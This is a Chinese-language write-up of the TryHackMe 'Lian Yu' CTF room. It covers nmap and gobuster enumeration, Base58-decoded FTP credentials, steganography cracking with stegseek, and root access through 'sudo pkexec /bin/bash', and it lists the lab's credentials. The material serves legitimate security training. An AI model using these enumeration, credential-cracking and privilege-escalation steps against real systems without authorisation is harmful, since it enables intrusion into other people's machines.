6 min read

TryHackMe Lian_Yu writeup (zh-TW)

TryHackMe Lian_Yu writeup (zh-TW)

題目資訊

  • 平台: TryHackMe
  • 房間名稱: Lian Yu
  • 主題: Arrow (綠箭俠) 影集
  • 難度: Easy
  • 目標: 獲取 User Flag 和 Root Flag
  • 題目連結: https://tryhackme.com/room/lianyu

偵察階段

Nmap 掃描

nmap -Pn -sV -sC 10.201.90.112 -T4

掃描結果:

PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp  open  http    Apache httpd
|_http-title: Purgatory
111/tcp open  rpcbind 2-4 (RPC #100000)

關鍵發現:

  • HTTP 服務標題為 "Purgatory"(煉獄)
  • FTP 服務 vsftpd 3.0.2
  • SSH 服務(較舊版本)
  • RPC 服務(經測試無 NFS 共享)

Step 1: Web 枚舉 - 發現島嶼入口

網頁偵察

curl http://10.201.90.112

關鍵線索:

<span class="h1-text"><b>ARROWVERSE</b></span>
<p>you had nothing but a bow and <b>arrow</b> to survive</p>
<background-image: url("Lianyu.png")>

重要提示:

  • "arrow" 被特別加粗
  • 背景圖片 Lianyu.png
  • 主題圍繞 Oliver Queen 和 Lian Yu 島

目錄爆破

gobuster dir -u http://10.201.90.112/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20 -x php,html,txt

發現:

/island               (Status: 301)

訪問 /island/

curl http://10.201.90.112/island/

輸出:

Ohhh Noo, Don't Talk...............
I wasn't Expecting You at this Moment. I will meet you there
You should find a way to Lian_Yu as we are planed. The Code Word is:
vigilante

✅ 獲得第一個線索:Code Word = "vigilante"

Step 2: 深入探索 - 找到 2100 目錄

繼續爆破 /island/ 子目錄

gobuster dir -u http://10.201.90.112/island -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20 -x php,html,txt

發現:

/2100                 (Status: 301)
背景知識:2100 是 Arrow 第一季的時間設定

訪問 /island/2100/

curl http://10.201.90.112/island/2100/

關鍵 HTML 註釋:

<h1>How Oliver Queen finds his way to Lian_Yu?</h1>
<iframe src="https://www.youtube.com/embed/X8ZiFuW41yY"></iframe>
<!-- you can avail your .ticket here but how? -->

✅ 提示:有個 .ticket 擴展名的文件!

Step 3: 掃描 .ticket 文件

使用 Gobuster 掃描特定擴展名

gobuster dir -u http://10.201.90.112/island/2100/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt \
  -x ticket -t 50

發現:

/green_arrow.ticket   (Status: 200)

獲取 Ticket 內容

curl http://10.201.90.112/island/2100/green_arrow.ticket

輸出:

This is just a token to get into Queen's Gambit(Ship)

RTy8yhBQdscX

✅ 獲得 Token:RTy8yhBQdscX

Queen's Gambit:Arrow 劇中 Queen 家族的遊艇名稱

Step 4: Base58 解碼獲取 FTP 憑證

識別編碼類型
Token RTy8yhBQdscX 特徵:

  • 包含大小寫字母和數字
  • 長度 12 字符
  • 沒有特殊符號

嘗試 Base58 解碼(使用 Bugku 在線工具):

RTy8yhBQdscX (Base58) → !#th3h00d

✅ FTP 憑證:

  • 用戶名:vigilante
  • 密碼:!#th3h00d

Step 5: FTP 登錄與文件下載

登錄 FTP

ftp 10.201.90.112
Name: vigilante
Password: !#th3h00d

成功登錄!

列出文件

ftp> ls -la

發現的文件:

-rw-------  1 1001  1001      44 May 01 2020 .bash_history
-rw-r--r--  1 0     0       2483 May 01 2020 .other_user
-rw-r--r--  1 0     0     511720 May 01 2020 Leave_me_alone.png
-rw-r--r--  1 0     0     549924 May 05 2020 Queen's_Gambit.png
-rw-r--r--  1 0     0     191026 May 01 2020 aa.jpg

下載所有文件

ftp> prompt off
ftp> mget *
ftp> mget .*
ftp> bye

檢查關鍵文件

cat .bash_history
# 輸出:Sorry I couldn't Help Other user Might help

cat .other_user
# 輸出:Slade Wilson 的完整故事(Deathstroke 角色背景)

✅ 提示:另一個用戶是 "slade"

Step 6: 隱寫術分析 - 提取 SSH 密碼

整理文件

mkdir arrow_ctf
mv *.png *.jpg .other_user .bash_history arrow_ctf/
cd arrow_ctf/

使用 StegSeek 分析

stegseek aa.jpg

輸出:

[i] Found passphrase: "password"
[i] Original filename: "ss.zip"
[i] Extracting to "aa.jpg.out"

✅ 隱寫術密碼:password

提取並解壓縮

mv aa.jpg.out ss.zip
unzip ss.zip

解壓後的文件:

passwd.txt  # 只包含劇情描述
shado       # 真正的密碼文件!

獲取 SSH 密碼

cat shado

輸出:

M3tahuman

✅ SSH 憑證:

  • 用戶名:slade
  • 密碼:M3tahuman
Metahuman:對應 .other_user 文件中提到的 "metahuman super-soldiers"

Step 7: SSH 登錄獲取 User Flag

SSH 登錄

ssh [email protected]
Password: M3tahuman

成功登錄!

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝
        ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
        ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
        ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
        ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
        ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
        ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝

User Flag

slade@LianYu:~$ cat user.txt
THM{Redacted}
                        --Felicity Smoak

✅ User Flag 獲得!

Step 8: 提權到 Root - sudo pkexec

檢查 sudo 權限

sudo -l

輸出:

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec

✅ 發現:可以用 sudo 執行 pkexec!

pkexec | GTFOBins

使用 pkexec 提權
pkexec 是 PolicyKit 的工具,允許以其他用戶身份執行命令。

sudo pkexec /bin/bash

提權成功!

root@LianYu:~# whoami
root

root@LianYu:~# id
uid=0(root) gid=0(root) groups=0(root)

Root Flag

root@LianYu:~# cat /root/root.txt
                          Mission accomplished
You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.

THM{Redacted}
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825

✅ Root Flag 獲得!

Mirakuru:Arrow 劇中的超級士兵血清,Slade Wilson 注射後成為 Deathstroke

技術要點總結

1. Web 枚舉技巧

  • HTML 註釋線索.ticket 文件提示
  • 特定擴展名掃描:使用 gobuster -x ticket
  • 主題相關猜測:2100(年份)、green_arrow(角色)

2. Base58 編碼識別

特徵:

  • 不含易混淆字符(0, O, I, l)
  • 常用於加密貨幣地址
  • 長度較短且無特殊符號

解碼工具:

3. FTP 枚舉

關鍵操作:

ls -la              # 顯示隱藏文件
prompt off          # 關閉提示(批量下載)
mget * 和 mget .*   # 下載所有文件(包括隱藏)

4. 隱寫術工具鏈

# JPG 文件最佳工具
stegseek image.jpg  # 自動爆破密碼

# PNG 文件
zsteg image.png -a  # 掃描所有隱寫方法

# 通用工具
strings image       # 查看可讀字符串
binwalk image       # 檢測嵌入文件
exiftool image      # 檢查元數據

5. Linux 提權 - pkexec

條件:

  • 用戶有 sudo 權限執行 pkexec
  • pkexec 可以執行任意程序

利用:

sudo pkexec /bin/bash  # 直接獲取 root shell
sudo pkexec /bin/sh    # 或使用 sh

經驗分享

這一台機器是少數需要不斷目錄爆破再目錄爆破的機器,算是挺有"深度"的,可以嘗試看看,挺推薦的!這次就不針對每個步驟有太詳細的解釋,因為都比較直觀,但就是要有耐心~小字典沒有記得換中字典。